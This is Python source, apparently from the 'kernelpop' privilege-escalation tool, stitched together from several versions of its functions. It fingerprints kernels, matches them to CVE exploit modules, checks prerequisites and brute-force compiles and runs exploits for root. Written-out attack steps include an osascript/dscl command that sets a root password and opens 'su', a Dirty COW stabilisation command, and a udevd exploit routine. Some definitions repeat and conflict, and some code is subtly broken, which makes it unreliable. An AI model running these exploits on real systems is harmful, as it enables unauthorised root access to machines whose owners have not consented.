def kernelpop(mode="enumerate", uname=None): """ kernelpop() Runs the show :return: """ color_print(HEADER, color="blue", bold=True) if uname: kernel_v = get_kernel_version(uname=uname) else: kernel_v = get_kernel_version() identified_exploits = find_exploit_locally(kernel_v) display_ordered_exploits(identified_exploits["confirmed"], begin_message="[*] matched kernel to the following confirmed exploits", fail_message="[-] no confirmed exploits were discovered for this kernel") display_ordered_exploits(identified_exploits["potential"], begin_message="[*] matched kernel to the following potential exploits:", fail_message="[-] no potential exploits were discovered for this kernel", color="yellow") merged_exploits = {} for key_val in identified_exploits["confirmed"]: merged_exploits[key_val] = identified_exploits["confirmed"][key_val] + identified_exploits["potential"][key_val] if mode == "brute-enumerate": confirmed_vulnerable = brute_force_enumerate(merged_exploits) display_ordered_exploits(confirmed_vulnerable, begin_message="[+] confirmed exploits", fail_message="[-] no exploits were confirmed for this kernel")
def brute_force_enumerate(identified_exploits): confirmed_vulnerable = {"high": [], "medium": [], "low": []} color_print( "[*] attempting brute force of all discovered exploits from most to least probable" ) if len(identified_exploits[HIGH_RELIABILITY]) > 0: color_print("\t[[ high reliability ]]", color="green") for high_exploit in identified_exploits[HIGH_RELIABILITY]: if high_exploit.determine_vulnerability(): confirmed_vulnerable["high"].append(high_exploit) if len(identified_exploits[MEDIUM_RELIABILITY]) > 0: color_print("\t[[ medium reliability ]]", color="yellow") for medium_exploit in identified_exploits[MEDIUM_RELIABILITY]: if medium_exploit.determine_vulnerability(): confirmed_vulnerable["medium"].append(medium_exploit) if len(identified_exploits[LOW_RELIABILITY]) > 0: color_print("\t[[ low reliability ]]", color="red") for low_exploit in identified_exploits[LOW_RELIABILITY]: if low_exploit.determine_vulnerability(): confirmed_vulnerable["low"].append(low_exploit) if len(identified_exploits[HIGH_RELIABILITY]) == 0 and \ len(identified_exploits[MEDIUM_RELIABILITY]) == 0 and \ len(identified_exploits[LOW_RELIABILITY]) == 0: color_print("[-] no exploits to verify for this kernel", color="red") return confirmed_vulnerable
def exploit(self): # should stabilize exploit stabilization_command = "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" color_print(("\t[*] stabilizing exploit:\n\t\t`{}`".format(stabilization_command))) self.shell_results(stabilization_command) # call super-class exploit super(CVE20165195_32_poke, self).exploit()
def exploit(self): """ We need to override base exploit because we're running a python script, not compiling C source """ perform_exploitation = str( input("Would you like to run exploit {} on this system? (y/n): ". format(self.name))) if "y" in perform_exploitation.lower(): color_print("\t[*] performing exploitation of {}".format( self.name)) color_print("\t[*] {}".format(self.exploit_command)) try: create_root = [ "/usr/bin/osascript", "-e", 'do shell script "dscl . -passwd /Users/root rootpassword" user name "root" password "" with administrator privileges' ] print("[*] creating root account") subprocess.call(create_root) print("[*] changing root account password to 'rootpassword'") subprocess.call(create_root) print( "[*] getting a root shell for you (enter 'rootpassword' when prompted)" ) subprocess.call("su") except Exception as e: self.exploit_failure("exploitation interrupted") self.exploit_failure(e) else: self.exploit_failure("canceled execution of exploit {}".format( self.name))
def main(): if len(sys.argv) < 2: kernelpop() # brute force all discovered exploits elif sys.argv[1] == "-b": kernelpop(mode="brute-enumerate") elif sys.argv[1] == "-e" and len(sys.argv) > 2: kernelpop(mode="exploit", exploit=sys.argv[2]) elif sys.argv[1] == "-r" and len(sys.argv) > 2: kernelpop(mode="brute-enumerate",report_file=sys.argv[2]) elif sys.argv[1] == "-i": uname = input("Please enter uname: ") if "darwin" in str(uname).lower(): color_print("[!] macs require additional input", color="yellow") osx_ver = input("[*] Please enter the OSX `ProductVersion`. It is found in 2nd line of output of `sw_vers` command: ") if len(str(osx_ver).split(".")) != 3: color_print("[-] OSX version input is not correct (Major.Minor.Release i.e 10.9.5)", color="red") exit(1) kernelpop(mode="input", uname=uname, osx_ver=osx_ver) else: kernelpop(mode="input", uname=uname) else: color_print("[!] please format your arguments properly", color="yellow") color_print(USAGE_STRING) color_print("[-] closing ...", color="red")
def brute_force_enumerate(identified_exploits): """ change enumeration to only cover potentials and move them to confirmed if they come back confirmed, otherwise drop them :param identified_exploits: :return: """ # TODO: read function description confirmed_vulnerable = {"high": [], "medium": [], "low": []} color_print( "[*] attempting to confirm all discovered exploits from most to least probable" ) if len(identified_exploits[HIGH_RELIABILITY]) > 0: color_print("\t[[ high reliability ]]", color="green") for high_exploit in identified_exploits[HIGH_RELIABILITY]: if high_exploit.determine_vulnerability(): confirmed_vulnerable["high"].append(high_exploit) if len(identified_exploits[MEDIUM_RELIABILITY]) > 0: color_print("\t[[ medium reliability ]]", color="yellow") for medium_exploit in identified_exploits[MEDIUM_RELIABILITY]: if medium_exploit.determine_vulnerability(): confirmed_vulnerable["medium"].append(medium_exploit) if len(identified_exploits[LOW_RELIABILITY]) > 0: color_print("\t[[ low reliability ]]", color="red") for low_exploit in identified_exploits[LOW_RELIABILITY]: if low_exploit.determine_vulnerability(): confirmed_vulnerable["low"].append(low_exploit) if len(identified_exploits[HIGH_RELIABILITY]) == 0 and \ len(identified_exploits[MEDIUM_RELIABILITY]) == 0 and \ len(identified_exploits[LOW_RELIABILITY]) == 0: color_print("[-] no exploits to verify for this kernel", color="red") return confirmed_vulnerable
def determine_vulnerability(self): color_print("\t[*] checking exploitation prerequisites for {}".format( self.name), color="blue") # if kernel matches...it should be vulnerable color_print("\t[+] system appears to be vulnerable to {}".format( self.name), color="green")
def exploit_individually(exploit_name): color_print("[*] attempting to perform exploitation with exploit {}".format(exploit_name)) exploit_os = ["linux", "windows", "mac"] found_exploit = False for os_type in exploit_os: exploit_path_string = "exploits.{}.{}.{}".format(os_type, exploit_name, exploit_name) exploit_module = locate(exploit_path_string) if exploit_module: found_exploit = True exploit_module().exploit() if not found_exploit: color_print("[-] exploit {} was not found".format(exploit_name), color="red")
def alert_kernel_discovery(self): if self.type == "linux": color_print("[+] kernel {} identified as:\n\ttype:\t\t\t{}\n\tdistro:\t\t\t{}\n\tversion:\t\t{}-{}" \ "\n\tarchitecture:\t\t{}".format( self.uname, self.type, self.distro, ".".join([str(self.major_version), str(self.minor_version)]), self.release, self.architecture), bold=True) elif self.type == "mac": color_print("[+] kernel {} identified as:\n\ttype:\t\t\t{}\n\tversion:\t\t{}\n\tarchitecture:\t\t{}".format( self.uname, self.type, ".".join([str(self.major_version), str(self.minor_version), str(self.release)]), self.architecture), bold=True) elif self.type == "windows": pass else: exit(1)
def exploit(self): perform_exploitation = str( input("Would you like to run exploit {} on this system? (y/n): ". format(self.name))) if "y" in perform_exploitation.lower(): self.exploit_compile() if self.compilation_successful(): color_print("\t[*] performing exploitation of {}".format( self.name)) try: subprocess.call(self.exploit_command) except: self.exploit_failure("exploitation interrupted") else: self.exploit_failure("canceled execution of exploit {}".format( self.name))
def exploit(self): """ We need to override base exploit because we're running a python script, not compiling C source """ perform_exploitation = str( input("Would you like to run exploit {} on this system? (y/n): ". format(self.name))) if "y" in perform_exploitation.lower(): color_print("\t[*] performing exploitation of {}".format( self.name)) color_print("\t[*] {}".format(self.exploit_command)) try: subprocess.call(self.exploit_command) except: self.exploit_failure("exploitation interrupted") else: self.exploit_failure("canceled execution of exploit {}".format( self.name))
def brute_force_exploit(confirmed_exploits): color_print("\t[*] attempting to exploit confirmed exploits", color="blue") if len(confirmed_exploits[HIGH_RELIABILITY]) > 0: color_print("\t[[ high reliability ]]", color="green") for high_exploit in confirmed_exploits[HIGH_RELIABILITY]: high_exploit.exploit() if len(confirmed_exploits[MEDIUM_RELIABILITY]) > 0: color_print("\t[[ medium reliability ]]", color="yellow") for medium_exploit in confirmed_exploits[MEDIUM_RELIABILITY]: medium_exploit.exploit() if len(confirmed_exploits[LOW_RELIABILITY]) > 0: color_print("\t[[ low reliability ]]", color="red") for low_exploit in confirmed_exploits[LOW_RELIABILITY]: low_exploit.exploit()
def exploit_compile(self): color_print("\t[*] compiling exploit {} to {}".format( self.name, self.compilation_path), color="blue") color_print("\t[*] {}".format(self.compilation_command), color="blue") compilation_results = self.shell_results(self.compilation_command) if self.compilation_successful(): color_print("\t[+] compilation successful!", color="green") else: self.exploit_failure("failed to compile exploit {}".format( self.name))
def find_exploit_locally(kernel_version): """ find_exploit_locally(Kernel kernel_version) Identifies potential exploits for the given kernel by dynamically loading exploit modules from the identified operating system's `exploit` dir and checking the kernel vs the list of vulnerable kernels in that exploit. :param kernel_version: Kernel() object containing kernel information :returns: array of arrays of exploit modules sorted in order of likelihood of success i.e. [ [high] [medium] [low] ] """ confirmed = { HIGH_RELIABILITY: [], MEDIUM_RELIABILITY: [], LOW_RELIABILITY: [] } potential = { HIGH_RELIABILITY: [], MEDIUM_RELIABILITY: [], LOW_RELIABILITY: [] } found_exploits = {"confirmed": confirmed, "potential": potential} color_print("[*] matching kernel to known exploits") if kernel_version.type == "linux": all_exploits = os.listdir(LINUX_EXPLOIT_PATH) for exploit_file in all_exploits: if exploit_file[-3:] == ".py" and "__init__" not in exploit_file: exploit_name = exploit_file.replace(".py", "") exploit_module = locate("exploits.linux.{}.{}".format( exploit_name, exploit_name)) exploit_instance = exploit_module() if potentially_vulnerable( kernel_version, exploit_instance) == CONFIRMED_VULNERABLE: color_print( "\t[+] found `confirmed` kernel exploit: {}".format( exploit_instance.name), color="green") found_exploits["confirmed"][ exploit_instance.reliability].append(exploit_instance) elif potentially_vulnerable( kernel_version, exploit_instance) == POTENTIALLY_VULNERABLE: color_print( "\t[+] found `potential` kernel exploit: {}".format( exploit_instance.name), color="yellow") found_exploits["potential"][ exploit_instance.reliability].append(exploit_instance) else: del exploit_module return found_exploits
def determine_vulnerability(self): color_print("\t[*] checking exploitation prerequisites for {}".format( self.name), color="blue") # we need to check to see if there is anything at /proc/acpi/button/lid/LID/state lid_path = "/proc/acpi/button/lid/LID/state" color_print( "\t[*] checking to see if ACPI lid device is present on system") if os.path.isfile(lid_path): color_print("\t[+] system appears to be vulnerable to {}".format( self.name), color="green") return True else: color_print( "\t[-] system appears not to be vulnerable to {}".format( self.name), color="red") return False
def determine_vulnerability(self): color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue") # we need to check the glibc version < 2.23 color_print("\t[*] checking glibc version is < 2.23") glibc_version_stdout = self.shell_results("ldd --version")[0].decode('utf-8') if len(glibc_version_stdout) == 0: self.exploit_failure("could not determine glibc version") return False glibc_version = glibc_version_stdout.split("\n").split(" ")[-1] v_major = int(glibc_version.split(".")[0]) v_minor = int(glibc_version.split(".")[1]) if v_major <= 2: if v_minor < 23: color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green") return True self.exploit_failure("glibc version {} not < 2.23".format(glibc_version)) return False
def determine_vulnerability(self): """ For this vulnerability the following prerequisites have to be satisfied: - udevd version must be < 1.4.1 :return: True if vulnerable, False if not """ color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue") command_result = self.shell_results(["udevd", "--version"]) udev_v = command_result[1].decode('utf-8').replace("\n", "").replace("--version: ", "") if "not found" in udev_v: self.exploit_failure("not vulnerable: ({})".format(udev_v)) return False elif int(udev_v) < 141: color_print("\t[*] udev version: {}".format(udev_v)) color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green") return True
def determine_vulnerability(self): """ For this vulnerability the following prerequisites have to be satisfied: - sudo version < 1.8.21 - system must be selinux-enabled - sudo needs to be build with selinux support (sudo -r) - user needs to have sudo permissions: e.g. 'toor ALL=(ALL)NOPASSWD: /usr/bin/sum :return: True if vulnerable, False if not """ color_print("\t[*] checking exploitation prerequisites for {}".format( self.name), color="blue") sudo_version_command = "sudo -V" se_linux_enabled_command = "cat/etc/selinux/config" # SELINUX=disabled not in output sudo_built_with_selinux_support_command = "sudo -r" # if 'role' is in output, it's supported sudo_permissions_check_command = "sudo -l" # if not 'may not run' in output sv_output = self.shell_results(sudo_version_command) sle_output = self.shell_results(se_linux_enabled_command) sbwssc_output = self.shell_results( sudo_built_with_selinux_support_command) spc_output = self.shell_results(sudo_permissions_check_command) sv_std_out = sv_output[0].decode('utf-8') major_v = int(sv_std_out.split(" ")[2].split(".")[0]) minor_v = int(sv_std_out.split(" ")[2].split(".")[1]) release_v = int( sv_std_out.split("\n")[0].split(" ")[2].split(".")[2].split("p") [0]) if not major_v <= 1 and minor_v <= 8 and release_v <= 20: self.exploit_failure("sudo version {} is not less than 1.8.21") return False color_print( "\t[+] sudo version {} is vulnerable (less than 1.8.21)".format( "{}.{}.{}".format(major_v, minor_v, release_v))) sle_std_out = sle_output[0].decode('utf-8') sle_std_err = sle_output[1].decode('utf-8') if "No such file" in sle_std_err or not \ "SELINUX=disabled" in sle_std_out: self.exploit_failure( "system does not appear to be selinux-enabled") return False color_print("\t[+] system appears to be selinux-enabled") sbwssc_std_out = sbwssc_output[0].decode('utf-8') if not "role" in sbwssc_std_out: self.exploit_failure( "sudo does not appear to be built with selinux support") return False color_print("\t[+] sudo appears to be built with selinux support") spc_std_out = spc_output[0].decode('utf-8') spc_std_err = spc_output[1].decode('utf-8') if "may not run" in spc_std_err: self.exploit_failure("user is not a sudoer") return False color_print("\t[+] user appears to be a sudoer") color_print("\t[+] system appears to be vulnerable to {}".format( self.name), color="green") return True
def kernelpop(mode="enumerate", uname=None, exploit=None, osx_ver=None, report_file=None): """ kernelpop() Runs the show :return: """ color_print(HEADER, color="blue", bold=True) if exploit: exploit_individually(str(exploit)) else: if uname: if osx_ver: kernel_v = get_kernel_version(uname=uname, osx_ver=osx_ver) else: kernel_v = get_kernel_version(uname=uname) else: kernel_v = get_kernel_version() identified_exploits = find_exploit_locally(kernel_v) if report_file: write_report_ordered_exploits(identified_exploits["confirmed"], report_file, "Confirmed exploits", "no confirmed exploits found") write_report_ordered_exploits(identified_exploits["potential"], report_file, "Potential exploits", "no potential exploits found") display_ordered_exploits( identified_exploits["confirmed"], begin_message= "[*] matched kernel to the following confirmed exploits", fail_message= "[-] no confirmed exploits were discovered for this kernel") display_ordered_exploits( identified_exploits["potential"], begin_message= "[*] matched kernel to the following potential exploits:", fail_message= "[-] no potential exploits were discovered for this kernel", color="yellow") merged_exploits = {} for key_val in identified_exploits["confirmed"]: merged_exploits[key_val] = identified_exploits["confirmed"][ key_val] + identified_exploits["potential"][key_val] if total_exploits(merged_exploits) > 0: if "brute" in mode: confirmed_vulnerable = brute_force_enumerate(merged_exploits) display_ordered_exploits( confirmed_vulnerable, begin_message="[+] confirmed exploits", fail_message= "[-] no exploits were confirmed for this kernel") if "exploit" in mode: brute_force_exploit(confirmed_vulnerable)
def display_ordered_exploits(ordered_exploits, begin_message=None, fail_message=None, color=None): """ :param ordered_exploits: :param begin_message: :param fail_message: :param color: :return: """ if color: color_print(begin_message, color=color) # for confirmed vulnerabilities if len(ordered_exploits[HIGH_RELIABILITY]) > 0: color_print("\t[[ high reliability ]]", color=color) for high_exploit in ordered_exploits[HIGH_RELIABILITY]: color_print("\t\t{}\t{}".format(high_exploit.name, high_exploit.brief_desc), color=color) if len(ordered_exploits[MEDIUM_RELIABILITY]) > 0: color_print("\t[[ medium reliability ]]", color=color) for medium_exploit in ordered_exploits[MEDIUM_RELIABILITY]: color_print("\t\t{}\t{}".format(medium_exploit.name, medium_exploit.brief_desc), color=color) if len(ordered_exploits[LOW_RELIABILITY]) > 0: color_print("\t[[ low reliability ]]", color=color) for low_exploit in ordered_exploits[LOW_RELIABILITY]: color_print("\t\t{}\t{}".format(low_exploit.name, low_exploit.brief_desc), color=color) if len(ordered_exploits[HIGH_RELIABILITY]) == 0 and \ len(ordered_exploits[MEDIUM_RELIABILITY]) == 0 and \ len(ordered_exploits[LOW_RELIABILITY]) == 0: if fail_message: color_print(fail_message, color=color) else: color_print(begin_message) # for confirmed vulnerabilities if len(ordered_exploits[HIGH_RELIABILITY]) > 0: color_print("\t[[ high reliability ]]", color="green") for high_exploit in ordered_exploits[HIGH_RELIABILITY]: color_print("\t\t{}\t{}".format(high_exploit.name, high_exploit.brief_desc)) if len(ordered_exploits[MEDIUM_RELIABILITY]) > 0: color_print("\t[[ medium reliability ]]", color="yellow") for medium_exploit in ordered_exploits[MEDIUM_RELIABILITY]: color_print("\t\t{}\t{}".format(medium_exploit.name, medium_exploit.brief_desc)) if len(ordered_exploits[LOW_RELIABILITY]) > 0: color_print("\t[[ low reliability ]]", color="red") for low_exploit in ordered_exploits[LOW_RELIABILITY]: color_print("\t\t{}\t{}".format(low_exploit.name, low_exploit.brief_desc)) if len(ordered_exploits[HIGH_RELIABILITY]) == 0 and \ len(ordered_exploits[MEDIUM_RELIABILITY]) == 0 and \ len(ordered_exploits[LOW_RELIABILITY]) == 0: if fail_message: color_print(fail_message, color="red")
def process_kernel_version(self, kernel_version, uname=False): # running on mac # Darwin-16.7.0-x86_64-i686-64bit if "Darwin" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a mac variant") k_type = "mac" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_major = int(kernel_version.split(" ")[2].split(".")[0]) k_minor = int(kernel_version.split(" ")[2].split(".")[1]) k_release = int(kernel_version.split(" ")[2].split(".")[2]) k_architecture = kernel_version.split(" ")[-1] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a mac variant") k_type = "mac" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[0] k_major = int(kernel_version.split("-")[1].split(".")[0]) k_minor = int(kernel_version.split("-")[1].split(".")[1]) k_release = int(kernel_version.split("-")[1].split(".")[2]) k_architecture = kernel_version.split("-")[2] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # running on linux # Linux-4.10.0-37-generic-x86_64-with-Ubuntu-16.04-xenial elif "Linux" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a linux variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_major = int(kernel_version.split(" ")[2].split(".")[0]) k_minor = int(kernel_version.split(" ")[2].split(".")[1]) k_architecture = kernel_version.split(" ")[-2] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture # kali kernel parsing is a little different to get accurate release # on kernel # Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.4-2kali1 (2017-10-16) x86_64 GNU/Linux if "kali" in kernel_version.lower(): k_release = int( kernel_version.split(" ")[-4].split("-")[0].split(".") [2]) else: k_release = int( kernel_version.split(" ")[2].split(".")[2].split("-") [0]) return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a linux variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[-1] k_major = int(kernel_version.split("-")[1].split(".")[0]) k_minor = int(kernel_version.split("-")[1].split(".")[1]) k_release = int(kernel_version.split("-")[1].split(".")[2]) k_architecture = kernel_version.split("-")[4] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # running on windows elif "win" in kernel_version: color_print("[+] underlying os identified as a windows variant") if uname: color_print("[-] no uname support yet", color="red") exit(0) else: pass # don't know what we're on else: color_print("[-] could not identify underlying os", color="red") exit(1)
def exploit_failure(self, failure_reason): color_print("\t[-] exploitation failed: {}".format(failure_reason), color="red")
def main(): # parse out whether we want a digestible output (json, xml) digest_type = None if "--digest" in sys.argv: if "json" in sys.argv: print("[*] outputting results in json digestible format") digest_type = "json" elif "xml" in sys.argv: print( "[*] sorry, only json digestible output is supported at the moment (--digest json)" ) exit(0) if len(sys.argv) < 2: kernelpop() elif "-e" in sys.argv[1:3] and len(sys.argv) > 2: kernelpop(mode="exploit", exploit=sys.argv[2], digest=digest_type) elif "-i" in sys.argv[1:3]: color_print( "[*] please note, vulnerability detection is not as accurate by uname alone", color="yellow") color_print( "\tconsider running locally on the machine to be tested to get a more accurate reading", color="yellow") uname = input("Please enter uname: ") if "darwin" in str(uname).lower(): color_print("[!] macs require additional input", color="yellow") osx_ver = input( "[*] Please enter the OSX `ProductVersion`. It is found in 2nd line of output of `sw_vers` command: " ) if len(str(osx_ver).split(".")) != 3: color_print( "[-] OSX version input is not correct (Major.Minor.Release i.e 10.9.5)", color="red") exit(1) kernelpop(mode="input", uname=uname, osx_ver=osx_ver, digest=digest_type) else: kernelpop(mode="input", uname=uname, digest=digest_type) # if only --digest <option> is passed elif "--digest" in sys.argv[1:3]: kernelpop(digest=digest_type) else: color_print("[!] please format your arguments properly", color="yellow") color_print(USAGE_STRING) color_print("[-] closing ...", color="red")
def process_kernel_version(self, kernel_version, uname=False): # running on mac # Darwin-16.7.0-x86_64-i386-64bit if "Darwin" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a mac variant") k_type = "mac" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_major = int(kernel_version.split(" ")[2].split(".")[0]) k_minor = int(kernel_version.split(" ")[2].split(".")[1]) k_release = int(kernel_version.split(" ")[2].split(".")[2]) k_architecture = kernel_version.split(" ")[-1] return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a mac variant") k_type = "mac" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[0] k_major = int(kernel_version.split("-")[1].split(".")[0]) k_minor = int(kernel_version.split("-")[1].split(".")[1]) k_release = int(kernel_version.split("-")[1].split(".")[2]) k_architecture = kernel_version.split("-")[2] return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # running on linux # Linux-4.10.0-37-generic-x86_64-with-Ubuntu-16.04-xenial elif "Linux" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a linux variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_major = int(kernel_version.split(" ")[2].split(".")[0]) k_minor = int(kernel_version.split(" ")[2].split(".")[1]) k_release = int(kernel_version.split(" ")[2].split("-")[1]) k_architecture = kernel_version.split(" ")[-2] return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a linux variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[-1] k_major = int(kernel_version.split("-")[1].split(".")[0]) k_minor = int(kernel_version.split("-")[1].split(".")[1]) k_release = int(kernel_version.split("-")[2]) k_architecture = kernel_version.split("-")[4] return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # running on windows elif "win" in kernel_version: color_print("[+] underlying os identified as a windows variant") # don't know what we're on else: color_print("[-] could not identify underlying os", color="red") exit(1)
def process_kernel_version(self, kernel_version, uname=False): # running on mac # Darwin-16.7.0-x86_64-i686-64bit if "Darwin" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a mac variant") k_type = "mac" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_major = int(kernel_version.split(" ")[2].split(".")[0]) k_minor = int(kernel_version.split(" ")[2].split(".")[1]) k_release = int(kernel_version.split(" ")[2].split(".")[2]) k_architecture = kernel_version.split(" ")[-1] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a mac variant") k_type = "mac" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[0] k_major = int(kernel_version.split("-")[1].split(".")[0]) k_minor = int(kernel_version.split("-")[1].split(".")[1]) k_release = int(kernel_version.split("-")[1].split(".")[2]) k_architecture = kernel_version.split("-")[2] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # running on linux # Linux-4.10.0-37-generic-x86_64-with-Ubuntu-16.04-xenial elif "Linux" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a linux variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_full_version = kernel_version.split(" ")[2].split(".") # the uname's first version string is in the format Major.Minor-distro-architecture instead of # the expected Major.Minor.Release-distro-architecture...try to parse from the end # if len(k_full_version) < 3: k_full_version = kernel_version.split(" ")[-4].split(".") # if we couldn't parse out 3 again.. if len(k_full_version) < 3: k_full_version = kernel_version.split(" ")[-4].split(".") # minor will have garbage after a '-' k_full_version[1] = k_full_version[1].split("-")[0] k_full_version.append("0") k_full_version = clean_parsed_version(k_full_version) k_major = int(k_full_version[0]) k_minor = int(k_full_version[1]) k_release = int(k_full_version[2]) k_architecture = kernel_version.split(" ")[-2] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a linux variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[-1] k_full_version = kernel_version.split("-")[1].split(".") if len(k_full_version) < 3: k_full_version.append("0") # we just assume base kernel k_full_version = clean_parsed_version(k_full_version) k_major = int(k_full_version[0]) k_minor = int(k_full_version[1]) k_release = int(k_full_version[2]) k_architecture = kernel_version.split("-")[4] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # running on windows elif "win" in kernel_version: color_print("[+] underlying os identified as a windows variant") if uname: color_print("[-] no uname support yet", color="red") exit(0) else: pass elif "BSD" in kernel_version: if uname: color_print("[+] `uname -a` os identified as a BSD variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split(" ")[0] k_full_version = kernel_version.split(" ")[2].split(".") # BSD versions only have major.minor format. Feed empty value for release while len(k_full_version) < 3: k_full_version.append("0") k_full_version = clean_parsed_version(k_full_version) k_major = int(k_full_version[0]) k_minor = int(k_full_version[1]) k_release = int(k_full_version[2]) k_architecture = kernel_version.split(" ")[-1] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version else: color_print("[+] underlying os identified as a BSD variant") k_type = "linux" k_distro = self.parse_distro(kernel_version) k_name = kernel_version.split("-")[0] k_full_version = kernel_version.split("-")[1].split(".") while len(k_full_version) < 3: k_full_version.append("0") k_full_version = clean_parsed_version(k_full_version) k_major = int(k_full_version[0]) k_minor = int(k_full_version[1]) k_release = int(k_full_version[2]) k_architecture = kernel_version.split("-")[2] # replace any bad architecture parses for architecture in ["x86", "i686", "amd64", "x86_64"]: if architecture in kernel_version: k_architecture = architecture return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version # don't know what we're on else: color_print("[-] could not identify underlying os", color="red") exit(1)
def exploit(self): color_print("\t[*] attempting to exploit {}".format(self.name), bold=True) vuln = self.determine_vulnerability() if vuln: color_print("\t[*] compiling: \'{}\'".format(" ".join( self.compilation_command))) return_code = subprocess.call(self.compilation_command) if return_code == 0 and os.path.exists( self.compilation_path ): # TODO: complete command setup (find proc numb...etc) color_print("\t[*] setting up /tmp/run for execution ...") root_nonce = uuid.uuid4().hex tmp_run = """ #!/bin/bash echo {} > /tmp/nonce """.format(root_nonce) # write tmp_run to /tmp/run with open("/tmp/run", 'w') as run_file: run_file.write(tmp_run) color_print("\t[*] identifying udevd netlink socket PID ...") call_result = self.shell_results( ["ps", "aux" "|" "grep" "udevd"])[0].decode('utf-8').split("\n") socket_pid = self.parse_udevd_netlink_socket_from_grep( call_result) if socket_pid == 0: self.exploit_failure( "could not get udevd netlink socket PID") else: color_print( "\t[*] running compiled exploit with necessary args") subprocess.call(self.exploit_command) if self.confirm_exploitation(root_nonce): color_print( "\t[+] exploitation of CVE20091185 successful!", color="green", bold=True) else: self.exploit_failure("no exploitation output") else: self.exploit_failure("not vulnerable to CVE20091185")